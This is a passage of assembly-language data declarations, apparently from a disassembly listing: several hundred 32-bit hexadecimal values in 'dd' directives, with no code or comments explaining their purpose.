		dd 907EF95Fh, 0ADBD2F8Eh, 0A60ADEC1h, 0CCBD8A4Eh, 0AFD31E1Fh
		dd 1504B424h, 5486764Bh, 96E36327h, 0C70B411Fh,	92140F9Ah
		dd 9AF9145Ch, 8E0B63D6h, 0E66BAE12h, 0D50FE26Dh, 48C2883Bh
		dd 0CDDD65Ch, 0EA462A34h, 0C9EDDC3Ah, 0DB79121Ah, 0FDA7ED33h
		dd 0D3BD8717h, 26F50C5Ah, 0CD18126Fh, 220C9170h, 0CE80550Ch
		dd 0DFBC1564h, 50EDDAB8h, 240E60B8h, 57A9A10Ah,	1A78F3E2h
		dd 0E00ADB1Eh, 0B94187CEh, 3EBD3C7Ah, 6267FE4Bh, 90D9BD43h
		dd 626C5184h, 42DBB513h, 0B3E80C83h, 4AA9FD0Bh,	2D200E93h
		dd 73E1CD8Dh, 5329BA7Ch, 33662E7Fh, 1B326D74h, 789F1DBBh
		dd 17A261BDh, 41AB7D65h, 3C0B4E5Bh, 6D676C2Fh, 0D0E214CBh
		dd 0CB7E20DDh, 3043B607h, 9B239624h, 0CBBD05AFh, 1EEE9D09h
		dd 1E288D89h, 0E4E1C8FFh, 0D991E051h, 0D2D58BD5h, 4BF926B5h
		dd 19D114FAh, 3DB310Fh,	7A01756Dh, 0EE51001Dh, 63EFF106h
		dd 0FB8499EDh, 0F9F8A735h, 57FC5F5Bh, 0D5A474D4h, 9394261Ah
		dd 0BEA60D84h, 458EE918h, 4AA6D9E1h, 670C3746h,	5552C814h
		dd 0C5CAEE6Ch, 0E7FD517Fh, 23237FBh, 8F534FFEh,	578F59C7h
		dd 7FC283C8h, 32721671h, 0D13C217Ah, 0CD9664F9h, 0F0204CD6h
		dd 755AFE5Eh, 9EFEA5E8h, 0D6528F7Eh, 777881B2h,	5D9570A4h
		dd 88371B89h, 0F5F614E4h, 3F0C40E1h, 0FB8F776Bh, 7534AA6Ch
		dd 0A22FF1FBh, 0D5A9A179h, 62172EAAh, 6B55B47Eh, 200F836h
		dd 0E4D0F728h, 765083A7h, 9A8CEA10h, 0FDE1227Bh, 99674C89h
		dd 0B42D53E9h, 80C41FD2h, 0A5D7956Ah, 8E8C2F3Dh, 938F5DE3h
		dd 6BDC25A0h, 8838CD7h,	48E6DEBh, 883D3392h, 9A4A75D2h
		dd 81C22469h, 5CA0A58h,	94F766FAh, 0DB9E2A69h, 0B26310FDh
		dd 56356322h, 2A4D07D5h, 49BDFBA9h, 0DE91CDD0h,	85CC77FDh
		dd 9AAEEE77h, 8EA0DEAAh, 0F9803DA7h, 0BDE6888Ch, 0A142AB56h
		dd 0D94ADC8Fh, 60ABA33Fh, 0E4D74DABh, 0D7F3EC26h, 0D5276987h
		dd 62004040h, 0C89FECEEh, 425669B6h, 5E6FDE70h,	55DDF2A2h
		dd 799276B8h, 388B75BFh, 0FD97B61Eh, 908CE196h,	43A35D02h
		dd 3D99A094h, 0B63C1F03h, 3C55D45Dh, 1D9E5EFBh,	3FE1EF34h
		dd 0C0D560E0h, 0E5A0A4C6h, 21A2E382h, 0A84814B2h, 0C766BF44h
		dd 47332E3Ah, 7961199Dh, 0A2C84338h, 0E10F021h,	7294E29Eh
		dd 93C89B11h, 64781E75h, 8DE22D3Eh, 4651F6D1h, 45654697h
		dd 0FC2E8295h, 0EB011467h, 0D5548261h, 2BA58A97h, 7812EDh
		dd 6FCD19E1h, 31B75A7h,	10F1C553h, 0BC96A0B4h, 8D0D178Bh
		dd 0DF6932C8h, 4FAF5F73h, 0AC8CFD94h, 0DBAD5309h, 6A8F42AAh
		dd 865DF23Bh, 64C997B8h, 0B686A587h, 319D6D4Bh,	3398CBEh
		dd 0A0612C61h, 49FE7F3Ah, 98B03F3Eh, 0B03C475Dh, 8049C910h
		dd 0B37E36C1h, 387BF22Ch, 89DBE712h, 0A4838984h, 0A5D031D8h
		dd 0E2BAE8F8h, 0AAB5D052h, 187C322Eh, 4EDE5AC6h, 0F80C10E5h
		dd 0A8DA222Ch, 0B045A791h, 0D67F0262h, 0E7B1E230h, 1B37BAC0h
		dd 0FDEFC4F0h, 0B8F8A7FBh, 25D43F65h, 0C77A9037h, 360C2732h
		dd 745B0148h, 159C4E6Eh, 0CC595C8Dh, 0C177E9FCh, 3CD32493h
		dd 58F9BDDEh, 5975157h,	79CAC6DDh, 0D5812C58h, 6ECD0B90h
		dd 32F55648h, 69906C6Fh, 0FDF8F9FCh, 0AB1508D1h, 0A6E43EA2h
		dd 0CD645AC7h, 0FCE188A1h, 4B7ED40Ah, 8A55C6B0h, 0E243A32Eh
		dd 4A3A9504h, 4D2B45D4h, 36BA49CEh, 4D773A1Dh, 9928B82Fh
		dd 0E0D5B0Ch, 0EE0C8194h, 0BB8B44FFh, 7189C89Fh, 83DE8993h
		dd 0C1D99AD2h, 6860E11h, 4F8671AFh, 0B66B94F9h,	0E235E427h
		dd 0B6BFC29Ch, 0F16BE05Fh, 0EF40537Bh, 0AB226C1Bh, 63429263h
		dd 135B9674h, 0D1A57F5Fh, 0DA3EF153h, 0E4AEBD1Dh, 0A03C9864h
		dd 5EA1624h, 639A233Ah,	91CCEC5h, 1692EEB1h, 0C617AA9Fh
		dd 2B2ACD52h, 0FF2DDF57h, 0D444819Ah, 88512ECFh, 0D1978878h
		dd 82478F4Bh, 92EDA34Dh, 97E049A8h, 0BBB0A53Bh,	0EFDB6FC6h
		dd 0FCA46449h, 2131BD94h, 0E3923458h, 0F31B5105h, 381100E3h
		dd 9C2CA825h, 767934FEh, 83066FDCh, 6C884003h, 536678F0h
		dd 75AE9CEDh, 299E07FFh, 3D620EFCh, 17D4BE47h, 837B22EFh
		dd 98DF5394h, 0DA08FCF7h, 1D7F5EC2h, 2AB72913h,	554367DBh
		dd 0AD56165Dh, 0D86B8B1Ah, 0A7D422BDh, 0E4D3D8E3h, 0A3375629h
		dd 6995D7B2h, 0F4263E01h, 383D85E9h, 8F876252h,	72F73DB5h
		dd 59D7B9C7h, 0D066CE6Ch
		dd 0A8F18BC0h, 59A43B96h, 0E351C79Eh, 0BA3B45A3h, 0B30F6E01h
		dd 4B60292Bh, 0A97A811Fh, 8C16C693h, 0AD4587A3h, 78041140h
		dd 3A4F6D67h, 40896C6h,	0E9034535h, 62A8529Ah, 923E532Ch
		dd 333E4CAh, 40514414h,	942FEDA6h, 69BBEBA3h, 55D13643h
		dd 28ED2FA5h, 2429E3E1h, 0FAE1D50Eh, 22378721h,	72F0B4DBh
		dd 0FC91397Eh, 4E8F41C7h, 76DC8AF5h, 0B0F553C5h, 0F5152E5Ch
		dd 0D70D6849h, 8CF4AF24h, 6EBC418Ah, 950F23D4h,	6E1A5920h
		dd 409BA753h, 5DBCD0AFh, 48F5512Dh, 1B4422E8h, 4E67D9CFh
		dd 0B59B11ADh, 0BDC1C52Ch, 3C6D2CAEh, 7FA66BB3h, 6D028394h
		dd 9A7F9580h, 0D51B15ABh, 6BB5CC42h, 0BB22E45Dh, 0ADADCBCAh
		dd 8EDDECC5h, 917D8D65h, 1C8B8AAAh, 84D10F59h, 0F7D193Eh
		dd 0AB1BC2F7h, 26D26CF7h, 0B95E7958h, 0D3C9D02Eh, 0ECB4A727h
		dd 8AAF6C5Fh, 9A6B9922h, 7CC4E901h, 3D78DAD3h, 60AF3FE7h
		dd 73D58629h, 67067E77h, 1EE4ED30h, 45DB0316h, 4245F30Eh
		dd 0E33746E0h, 4ADBF7DAh, 0C02E9AAAh, 4ED5FA2Ch, 0AD946C8h
		dd 0EE37844Dh, 9272A12h, 42D8C2D2h, 0B2EB102Ah,	84A8B30Fh
		dd 1331828Ah, 9EE00526h, 0D8940AFAh, 0E0D1741Ah, 0AB28BDC6h
		dd 7F302E42h, 4CA4E894h, 3633246h, 0DD331A26h, 5C1BFE2Ah
		dd 0A89DA160h, 52E2F84h, 4BBCCDD9h, 6730227Ah, 0BB04CDECh
		dd 98A290DEh, 0EC55B70Dh, 0F97445FDh, 0D0278FC4h, 6763FCF0h
		dd 47D09036h, 3EA9439Eh, 91187607h, 3A7E78AEh, 6DE2B6Ah
		dd 19C6332Fh, 23748F73h, 4E267F11h, 4B53A7DFh, 0E3491DF8h
		dd 0B7468679h, 69560CB6h, 0EE215CD4h, 5C5C2839h, 907E0BEBh
		dd 3AB5723Dh, 92497F9Ah, 7167F921h, 86C23CCh, 8CD91825h
		dd 452DDDD5h, 95D6FB63h, 9E4461BAh, 68A6D050h, 7FF652C5h
		dd 3B228FDFh, 0F1E8D56Ch, 1579E3E1h, 2B1165EDh,	0B58B40E0h
		dd 7CE88738h, 0FF6EE7E2h, 0B80732C0h, 98052544h, 4904E3BCh
		dd 7BDD0AB9h, 61238268h, 0B8012BE0h, 6D91CF84h,	281DEE8Eh
		dd 0AE0C6699h, 2C4919D3h, 0AA6BCC1h, 0EAFC7866h, 82AA0869h
		dd 0A6C0AC9Eh, 15D84EC8h, 2EE76FB6h, 0F735060h,	5F47A2h
		dd 0F2829499h, 0F240BAD5h, 2365B4EEh, 167ABE57h, 91F96FC8h
		dd 62363757h, 9E7F1CE3h, 0CBC51A05h, 9D8AABFDh,	2BA439D6h
		dd 0A357BA32h, 588F5BA1h, 0F5E14AFEh, 0F10E1F50h, 78CFD26Ah
		dd 2D6BA28Fh, 9F354C84h, 8641FC50h, 0C72E78Ah, 0E3DD1559h
		dd 726FBA8Dh, 0EF1CD7F8h, 903A2CE5h, 0E200DB59h, 473984A5h
		dd 2798774Fh, 0A47BE1DDh, 0A0A166C1h, 0E1C9DF10h, 89A5C7E2h
		dd 68B03E61h, 177DBABDh, 5BA6A779h, 8DB636C8h, 6FE3D2B8h
		dd 0C89A8D93h, 9A6B4857h, 0E9FDD62Dh, 2AAF66C1h, 0FAE9A22Fh
		dd 96AF583Fh, 0B8EF0C48h, 22308E14h, 6F471966h,	0E0AC2C76h
		dd 69B3B2C2h, 2B2BFA8h,	913DC950h, 8FCAEE50h, 5EDCFBECh
		dd 5544C965h, 0E8736B08h, 832E8E0Ch, 0C64026BFh, 7146B097h
		dd 1090EA10h, 0D066DDB5h, 82FEFD35h, 6B883D9Dh,	0BC74734Bh
		dd 0EC3D26F7h, 67E52D77h, 9B0E10Ch, 0F2AE88EFh,	0FEB9C28Eh
		dd 9A5ADDD6h, 56F98955h, 360F3746h, 3F23C2A0h, 835BE9D9h
		dd 0D9873980h, 26B9E053h, 276A70CAh, 6E0754D9h,	0EB196229h
		dd 1FFC79BDh, 0B835D24Dh, 0F1939EBDh, 2C7FF789h, 0ECA32CB1h
		dd 0B94B4182h, 7648634Dh, 0D4441CDCh, 0D5F4A139h, 0A81A724Bh
		dd 24D193A4h, 7914218Ah, 6DC22655h, 1C439C33h, 0D0BAE22Dh
		dd 0CDF51F9Ch, 0DFEFF0CAh, 0FC9037F7h, 1B83308Bh, 0E187D12Dh
		dd 289D7F3Dh, 699B9F8Dh, 2CFD16B5h, 723BD88Ch, 646C76F7h
		dd 0DDEF6413h, 0DA78507Ah, 621C5537h, 6307F25Eh, 0CE883B22h
		dd 0E9C8F390h, 0C9C2CA65h, 0E23947C7h, 2586443Eh, 29484487h
		dd 21A571CEh, 1D71C323h, 705D20D9h, 7E601E72h, 0AAC63FEAh
		dd 14D4EF1Eh, 734BF742h, 9F5B194Fh, 0E9B84C87h,	5C40090Ah
		dd 73490ADEh, 4A554A3h,	0BDD9ACC4h, 7A018C87h, 5F7430FAh
		dd 0B5F7EAA1h, 0B3A9F577h, 0E58FD43Ch, 330151B8h, 40941B5Eh
		dd 1C6701E8h, 803EFA22h, 3FAD9314h, 724EE00h, 89C3A4A2h
		dd 2E19D501h, 0FFD86161h, 2FD52DBBh, 4C89AB1Eh,	610071E9h
		dd 57AFEC4Ah, 4038012Bh, 0AA3CD27h, 558B88A8h, 0A203B136h
		dd 7DDFF023h, 0D993920Eh, 0EEC8A5A7h, 3AFE2DA3h, 0FA52E242h
		dd 0E75D6428h, 75F983EBh, 0E7557DDh, 8F2BE68Dh,	0CE4FB5D3h
		dd 890F7E65h, 0F40D1BA7h, 0ABB07F7Ch, 0C93B6157h, 21664CF0h
		dd 43A15960h, 42621BB2h, 45CCF843h, 6D746DDAh, 8F55C9A4h
		dd 3B816F78h, 28ABE05Fh, 7B1B8793h, 10E02D54h, 0D22C6597h
		dd 80A01414h, 0F012E635h, 0C3BA2638h, 87E4659Eh, 0AE2EE51Eh
		dd 0C5D31179h, 0DABD6DBCh, 442A5E77h, 0D9BF7AE3h, 31D58257h
		dd 3B7F45D9h, 601972B7h, 94EA48B7h, 7A0785FBh, 59ABE822h
		dd 573D4012h, 0DCD263AFh, 779A11FFh, 0D7422BAEh, 16B1B1C2h
		dd 93C8A023h, 9C73B1Eh,	0DF870386h, 4881561h, 7ECF97C5h
		dd 0FCDCDA3Fh, 8B0A4A6Ch, 0A4AAA7B7h, 67C9A4D8h, 0C420A014h
		dd 0C2DF312h, 3B833CEh,	1F205479h, 68A4DB9Eh, 2CF85E87h
		dd 0D79B5D7Bh, 0C7CCD4A2h, 8A8E1028h, 24428CF7h, 30537153h
		dd 672DDB51h, 75963963h, 3F26722Bh, 1D9AE6AEh, 78CC227Bh
		dd 0AA0D09FDh, 3D92FBCFh, 0F227C1AEh, 44205FFh,	6C0FA4CCh
		dd 55A1648Ah, 0C451E2B9h, 0D0F54C23h, 0A4D9C8EEh, 0CC832936h
		dd 3CEF80A6h, 0D844A1BEh, 402947ECh, 2353C528h,	62BF91B7h
		dd 3DC986CFh, 0A33F7D12h, 835F4E0Ch, 0DA7C752Eh, 58FAEE08h
		dd 0DAF14D97h, 0D78512A7h, 6FF939E6h, 0B39F9E20h, 0CBDBA737h
		dd 380B8936h, 4A814ABDh, 33486E7h, 0A6D82253h, 0F77AA3E8h
		dd 9D10A678h, 0EC1DC599h, 92C5EE4Bh, 4EE3F6D2h,	95AB44EAh
		dd 0D03AA216h, 0E201B739h, 10C0F04h, 0C625301Ah, 5DE8463Bh
		dd 84D3D139h, 47B5F2Ch,	673AC688h, 0DF387489h, 2EADF52Ch
		dd 0D6409878h, 0F715FA3Eh, 0FFAB351Eh, 289B7DCDh, 482D01F5h
		dd 0BBC7A276h, 5A68914Eh, 1583C80Ah, 157D258Dh,	953EC4B9h
		dd 37588833h, 8A66504h,	31338F9Dh, 0B69EB36Bh, 981D7A20h
		dd 0F07AD535h, 0C23BF165h, 7B2C974Dh, 0D1AC14B9h, 0D5233E84h
		dd 0F743EC5Bh, 0E1F0214h, 98BFFEE7h, 0DE644E8Fh, 0F65C748Ch
		dd 1EF7DAFAh, 7765935Eh, 1775C40Ah, 3FCF12F8h, 50F6A186h
		dd 3477E03Ah, 0B0A04C4Ch, 979AEBFDh, 1905C4BDh,	0DC3C5ACFh
		dd 0DFCC76D6h, 0B4731083h, 0F333CF34h, 0EDE0E6DAh, 13254C2Bh
		dd 0EDCA3783h, 0F98FC98Eh, 21B5F1A4h, 402F1ECFh, 440164BAh
		dd 0CBFBABA4h, 9CDF7BC3h, 38E6B1BFh, 0B8ED762Eh, 65C5838h
		dd 9FDC0ED1h, 5304C165h, 0BA7C68DDh, 1E261D3h, 66088D4Ch
		dd 0B91D6327h, 0C22335BAh, 8447D436h, 691BB09Eh, 8965A108h
		dd 0CE5AA9A4h, 8A1AB649h, 2FC2CBDFh, 0B11A9FFh,	557C7D9Bh
		dd 0F14752B1h, 6AB16330h, 293017D2h, 892CEDB4h,	0F1F4EA68h
		dd 0A2AAAC01h, 0EF6260EBh, 76F4C963h, 33A3C1D0h, 3B0433B0h
		dd 4E11B315h, 9E06C146h, 0BD07D1CAh, 9E93DBF7h,	0DC852C9Fh
		dd 80E51FF9h, 0E719AAE2h, 0DD8D883Bh, 2CE148C1h, 9FACD392h
		dd 2162A72Fh, 2B3A945Dh, 5E5285D0h, 303C62ACh, 9B1F455Dh
		dd 0D8699531h, 659C4FC6h, 0E01F7499h, 0EE7AA369h, 0C130C727h
		dd 6AF2CEA0h, 1B7D6992h, 4435913Ah, 2E7F5B0Bh, 8A7EA44Eh
		dd 5833AADAh, 5505BB59h
		dd 6659C0C8h, 0E14E6394h, 313B3DF7h, 0BED43D0Ch, 725EED3Ah
		dd 50A62D92h, 77E516F7h, 0B6DD5F38h, 0B6E2D444h, 0C6CCCC84h
		dd 8E88CA70h, 0ED8E5226h, 74118D75h, 0FFE15FE1h, 1C04D5C4h
		dd 0A01C20C3h, 0C063EB0Bh, 0C2A4809Ch, 0CF122ABEh, 102E690Ah
		dd 0ACBFECE2h, 0EF3447AFh, 23FA09A1h, 5775700h,	12D0BA3Ah
		dd 78FE6075h, 28643DBAh, 0C5092DC1h, 0E2D0EB59h, 9C57C2D6h
		dd 105CF271h, 0D4815C66h, 37768C48h, 0ED87D603h, 698DE083h
		dd 813578D5h, 4E1E48BCh, 3A56F5FEh, 0F89ECCB1h,	48F38110h
		dd 519887FAh, 25C7B2B3h, 8BC94841h, 2F4DF847h, 726758BEh
		dd 718E5EDCh, 0F8DF293h, 0CBE5BB9Dh, 43A97F1Ch,	0A0ACBB10h
		dd 0B2F1A1A4h, 12E68B54h, 0D62BCD86h, 0DD90890Bh, 3EA53A56h
		dd 0BB3DCDD4h, 87B56BD5h, 268F34B0h, 0D3DC88AEh, 87BCB2B5h
		dd 0E1DA2E82h, 22D727EDh, 0A07269E2h, 0C448BCE8h, 11F1176Dh
		dd 0CAA3E0B4h, 0F94C7FA7h, 0D2252D4Ch, 0C2B6EAE2h, 50130F5h
		dd 7770A13Eh, 0E9BE34CFh, 0BA40C088h, 0AAF875A2h, 0FB005FFDh
		dd 82370332h, 89264169h, 59A99ABEh, 0A7C640C9h,	142D9567h
		dd 723AF828h, 0FA874F1Ch, 2062E327h, 1452DBCAh,	8AF20720h
		dd 193B15FBh, 0DE94C0D1h, 0A6817427h, 70DBAD23h, 86D70FF8h
		dd 0D17AACC1h, 2C0ABB1Fh, 3547A090h, 820E06F9h,	0F4F2767Eh
		dd 8C8C2220h, 5BDB0872h, 45BAA09Ch, 92C50BF5h, 2AFADA5Dh
		dd 41263ECFh, 53B91D83h, 0A142F358h, 0C20075EBh, 0F40AEC93h
		dd 57F91C61h, 3B0AC44Ah, 967B9B5Bh, 0ACC9E5D4h,	251255Ah
		dd 19A14EAFh, 0CC17CFE3h, 0DB7E9CD3h, 0CC48F50Dh, 4EC9A26h
		dd 94EC39DAh, 81CF3344h, 0A120738Bh, 0B336BF62h, 3C72C3C5h
		dd 1C48AA0Dh, 0EB50F40Fh, 5EF64D46h, 0B54A45F6h, 0B95D08BDh
		dd 6F238FE0h, 3301B3E3h, 466B1776h, 100128BCh, 5C3070F9h
		dd 3674E9CBh, 1AD2CBF2h, 0C456B6F6h, 7F85CED8h,	0FB410A52h
		dd 0F6C0199Dh, 0BA006ADBh, 674C6077h, 49DCF016h, 8C4774Bh
		dd 8BD5EF4Ah, 3DB4B3BDh, 0B4E338EFh, 0A75B870Eh, 0F299F166h
		dd 0F009DA6Dh, 94B36753h, 157F0981h, 74DD7F69h,	0F4A1A5B4h
		dd 0C7FBC66Dh, 0D12EB001h, 6DE3DC52h, 10B00761h, 0F6CD715Bh
		dd 6BB3F75Bh, 80013208h, 0A6430C31h, 2EB92FD0h,	16709BF1h
		dd 0C976D398h, 189D1E61h, 7B69089Bh, 0B16BDE5Fh, 0EC4121EDh
		dd 0A6F141BCh, 0F3504024h, 7C92424Dh, 0DEE73C65h, 0A5EA8B9h
		dd 492A5836h, 0F6653092h, 70E3B9FEh, 971C04C3h,	98D760A1h
		dd 0E23F9198h, 8C23C2D9h, 683E1C13h, 0FC41A04Ah, 0C4C44BDFh
		dd 60192BCBh, 59D08DD8h, 0EDFF1677h, 0F6FCB79Fh, 7C1C1D61h
		dd 0C1CBB203h, 0EA6B4C46h, 284147BEh, 2DFE6654h, 0B5D017A9h
		dd 0B435D312h, 0BE9F0459h, 96C4B1E1h, 0E4D9856Ah, 0EFCCD034h
		dd 7695A67Ah, 12A9B27Bh, 384DD70Bh, 0EC21969Ah,	110BF25Bh
		dd 0A3766F08h, 717377BCh, 0DE99C07Eh, 64708F58h, 3A327C93h
		dd 63A23802h, 9583F2CBh, 945C4CAAh, 0B63251D7h,	0FBB51048h
		dd 0D103EC5Dh, 0F3E2074Ah, 0E2BDA0F6h, 0B7E0BAA0h, 21E60C3Ah
		dd 3103444Ah, 1E8FEB90h, 0E08434B1h, 0FE559EEFh, 0A7D5070Ah
		dd 0C6608BD8h, 0DC872845h, 9466C25h, 980E916Bh,	4F49298Ch
		dd 2CB2E1EAh, 8B2485BFh, 6FC1ED75h, 63E0D524h, 0E6CBD95Dh
		dd 0F85A96E2h, 9F1DCA38h, 0E4C6AC67h, 0F748D092h, 650F81Ah
		dd 32A7CBB0h, 33FDCBA7h, 0B4AE24CAh, 0DF2053E7h, 541DA944h
		dd 6FC4AE61h, 0AF305453h, 0E6F4F967h, 827AE0D2h, 0CD1C5433h
		dd 1A8B4BCDh, 399FDF24h, 0ABCF734Eh, 8BBFCB07h,	4848F5A1h
		dd 0BA90D1CCh, 0E8BE3934h, 0BDE8743Eh, 0D0C3A387h, 0F45F34CAh
		dd 102CDE62h, 88F39340h, 8A9B1399h, 0AA8B2C3Ch,	0B716DFF8h
		dd 0E9115380h, 0D5A52F59h, 0E6943966h, 992DBC90h, 7A0797BDh
		dd 0BACD589Ch, 0D0485972h, 8644CEAEh, 10D7CDF9h, 59A50EC0h
		dd 0E3F62CC5h, 0B8110DE3h, 279EF3BCh, 4E77C364h, 86F23750h
		dd 0D02614E8h, 0C3579355h, 9396FD51h, 40EF5620h, 56610158h
		dd 0BC8141A2h, 0FAA74ACCh, 374E8885h, 0C7C15D36h, 5798330Bh
		dd 0FC9CCF3Ah, 4F93A7A0h, 469682F4h, 3911A5h, 4A27B28Fh
		dd 1B59677Ah, 40BA2F3Ah, 642925C4h, 0F9CF45F2h,	1F29C9Fh
		dd 7A64AEA8h, 0D4AFFF94h, 2EDFD3CDh, 0AEE6A9E6h, 6C0AA4A9h
		dd 0FD040416h, 0A6E757h, 5F3D2D77h, 0B935483Dh,	17524DB4h
		dd 70FDB8ECh, 88AFC7F5h, 1EA45842h, 0C674D04Ah,	570BAC3Ah
		dd 6CD37E10h, 0D6B262F5h, 2D3D1395h, 17326A18h,	0A80E9FBBh
		dd 0B4F0476h, 0EF8578FAh, 0A0DBFA82h, 45B979B6h, 0ABD0D748h
		dd 1FE0DDDBh, 0D9E0191Eh, 0A44BB517h, 0FB9D9AE8h, 8CDB28E6h
		dd 3E90C177h, 96DAFD29h, 72C77F95h, 0DA29B0FBh,	750D41B8h
		dd 75DE6CD1h, 0AE64DB7h, 0C2BF4E63h, 0F7592E60h, 0E8761D6h
		dd 0B5804573h, 873A2467h, 31DAB0A5h, 53BE006Fh,	5B67FC22h
		dd 1E49B371h, 0A0169C21h, 0C56A0DE2h, 8115276Ch, 22ACF22Fh
		dd 0BD99F51Fh, 4BA73794h, 2398222h, 0EF61043Dh,	1A4624A6h
		dd 0D1497E49h, 979C227Dh, 600B578Ah, 786E512Ch,	372ECA0Bh
		dd 0E9710B58h, 0BDDCA9E1h, 2C15F0FBh, 9968A5A9h, 844F6334h
		dd 4FCA7FE5h, 113B18BFh, 0ACC5B8C9h, 84C9DEA8h,	263A71AFh
		dd 0A37FA8CFh, 0AA4E60C8h, 0AC900F50h, 303F5A2Ch, 0E70A0015h
		dd 5BADDC2Ah, 24E5DE52h, 82529825h, 0D264FA26h,	0D65B8433h
		dd 0E6D2C1C9h, 0D2BECFC0h, 1648A087h, 0A8BE6D03h, 4887D02Fh
		dd 11BB1FE9h, 323F157h,	5A6CD870h, 1BA9AAA6h, 355141F9h
		dd 0CA5AB63h, 80860AA4h, 80078ED9h, 3168594Ah, 0C2EC5DB3h
		dd 8B48EECh, 4D98577Dh,	0F1FC5065h, 0CF2E451h, 1526EDC0h
		dd 7DE8EBC8h, 97D34DA9h, 7347B34Ch, 42B6EFBDh, 0B164C17Ah
		dd 294DEEABh, 82C49DBh,	90611C7Bh, 51FEDD81h, 89B71426h
		dd 7C47EA70h, 9E6001D7h, 558A0814h, 0D7EC832h, 4379D9F7h
		dd 0C5EF349h, 0AE3815DBh, 4F5AFCBDh, 640889A8h,	49555C7Eh
		dd 58257B80h, 37888974h, 370105E2h, 624CE792h, 109C89BBh
		dd 7F516385h, 8BD375EBh, 9271148Ch, 0D96DFD14h,	0E5414AEDh
		dd 1563307Dh, 8E43D890h, 39F6DDE0h, 0CDBFFEFh, 1EA56E36h
		dd 0D129167Ah, 7FDA61F4h, 0BDE0EC4Bh, 0A20DD18Ah, 1CDCDC30h
		dd 5DD749F2h, 0BDDBB185h, 0F13AB6FEh, 8E5C9167h, 9E00656h
		dd 558606F8h, 2D67CB0Ch, 6AF1818Ah, 58C99BBFh, 7B4D59E7h
		dd 66237F6Eh, 0C93D8EE7h, 0F5145667h, 0F516B7D2h, 0A3508E0Dh
		dd 0A4B4E223h, 5E6AACC7h, 0C8408BADh, 51201E88h, 59277064h
		dd 76FBA415h, 0A3365E32h, 0F50A8639h, 0D9598E3h, 0A5E1B1B5h
		dd 39D68531h, 70242E57h, 972D6CC2h, 365C6D99h, 7C1586E3h
		dd 0AEBB9B5Ch, 0EDF1959Dh, 0F39FBAFAh, 4667B55Eh, 0F519A9DBh
		dd 0AF94C600h, 7B429AEDh, 1EDECE5Fh, 4684DC28h,	9AE89087h
		dd 98795279h, 189D6019h, 0E31D1987h, 0FEDDA2C6h, 0A1C0DA8Fh
		dd 0C484B033h, 0CD1DE9D4h, 3120B35Eh, 898C49A8h, 6BA6B6F7h
		dd 68B43685h, 0A876D08Ch, 0E37B664Eh, 1CE3550Eh, 8152CFE0h
		dd 0F70D5D71h, 636A34ADh, 8F2624CEh, 702EB452h,	62D0823Eh
		dd 0D7B83D80h, 0FCDED6C1h, 0E1170CBh, 6B1AD3FBh, 0F6C046A7h
		dd 68181519h, 0D9EFB9FBh, 623C3561h, 0D9A9EB4Eh, 81E0E865h
		dd 70203F22h, 7ECC98DAh, 1021EAC1h, 8656EA5Eh, 180299C7h
		dd 5B27CE21h, 229D9BD7h
		dd 7004232Bh, 0AFF129E1h, 0A23F7147h, 0E7084B8Ch, 62AF78A2h
		dd 0C084FDFFh, 449F8E9Dh, 0B00BBF5Eh, 140ECC82h, 75691B94h
		dd 487A0850h, 8C71D67h,	0A8589E6Ch, 0E838EEC7h,	183A754Bh
		dd 826C6C9Bh, 0AD57265Ch, 170D717Eh, 8E877425h,	0F44EB0D1h
		dd 467A629Bh, 0C6CA3A50h, 875A3080h, 4622202Bh,	525ECC54h
		dd 894CF428h, 1823B7ABh, 3BFCA375h, 0EEF04792h,	0EE6A6138h
		dd 3D808A4Bh, 0D5AAAEDh, 0EBE12627h, 2CC140B1h,	0D4F88B72h
		dd 2FFAC2ACh, 91753150h, 8B2EA376h, 6E9B0910h, 8664318Ah
		dd 0DE1BF2D0h, 107B17F1h, 5339F05Bh, 0AD20E768h, 39474D7h
		dd 8D4BE7B4h, 15D3122Ch, 95358DF3h, 1AE85648h, 0B7A2C15Fh
		dd 0D972DE81h, 230D8A84h, 15AF688Ch, 2459EC00h,	164AE4h
		dd 7A25466Eh, 0D8EE6F59h, 1AC9855h, 0EDAAFB53h,	162A8F45h
		dd 9ED8DC0h, 5AB7F14Fh,	27EFF2Dh, 93661E7Fh, 6273C28Ah
		dd 2FABC598h, 5BE8E96Eh, 94653D27h, 0EF550423h,	16A46FD9h
		dd 0D86C8531h, 479AF52Eh, 430E908h, 0B6FE0705h,	783F682Dh
		dd 98FAA861h, 587440AFh, 28FF2E89h, 8CFD0C4Ch, 0C82B315Ah
		dd 0A44B1116h, 0E388E322h, 26BD885Eh, 10EB174Ch, 0AAD623B1h
		dd 0F48539A6h, 0ABAC7E3Ch, 4DA250F6h, 3FD30A23h, 609597E5h
		dd 821396D9h, 0ED2159A7h, 1035D142h, 0B41117A2h, 735D10E1h
		dd 571A0AF9h, 86C017C2h, 2111D55Ah, 0C677A043h,	0C738B0B3h
		dd 65805E25h, 0D40FEB2h, 0A0ADCEAh, 0AC2A4EE0h,	5D161F11h
		dd 2A47F6E6h, 498ED7DFh, 0EA1D1DDDh, 4C33D36Bh,	2F1FEAC0h
		dd 2AE74D55h, 178B82Ch,	0DB677E5Dh, 6CB82517h, 0CA0490DDh
		dd 0CB9E7475h, 0EC773CBEh, 0ABD0DD80h, 66ED7545h, 5A3429ABh
		dd 0E2F1325Bh, 7E9702AFh, 209DD337h, 0B0F0078Eh, 2AF73648h
		dd 9521CC06h, 0CC5E09FBh, 0A707A2F8h, 0C386CCF9h, 0FAB93C71h
		dd 51044809h, 44C6D75h,	0C96E60B4h, 0DEC31AC4h,	0F253ACC9h
		dd 0FE2B5206h, 0B0E39214h, 0E0E3E557h, 85E8E61Dh, 0BE3B8399h
		dd 42E57A4Dh, 77E43D65h, 4D08CB9Fh, 0D081CC3Ah,	329A6253h
		dd 12E20682h, 0CC7F548h, 1928F5E4h, 21A1D3CDh, 5A28D596h
		dd 0E8CCC7FCh, 0D79AC579h, 9C02E707h, 4614B76Bh, 0F529F42Dh
		dd 0A782CC2Eh, 89DD2003h, 0EDCB1AEBh, 6E1A03B5h, 1235BAC3h
		dd 164AD3F0h, 844AA946h, 42D55A3Ch, 0B28DF92Ch,	0F523410Eh
		dd 0ED3922C3h, 8B8793EBh, 0E0061D1Ah, 6240ABA4h, 0BFB8F757h
		dd 116B7168h, 0C0A29784h, 4B8651E0h, 1BB4A80Ah,	4602655Eh
		dd 0C26C0AD8h, 0AC5DD18h, 0C0E8369Ch, 4AA7463Dh, 0FC149D42h
		dd 2BCB5B28h, 2E4C1854h, 90F21571h, 8EA2672Eh, 12C6E555h
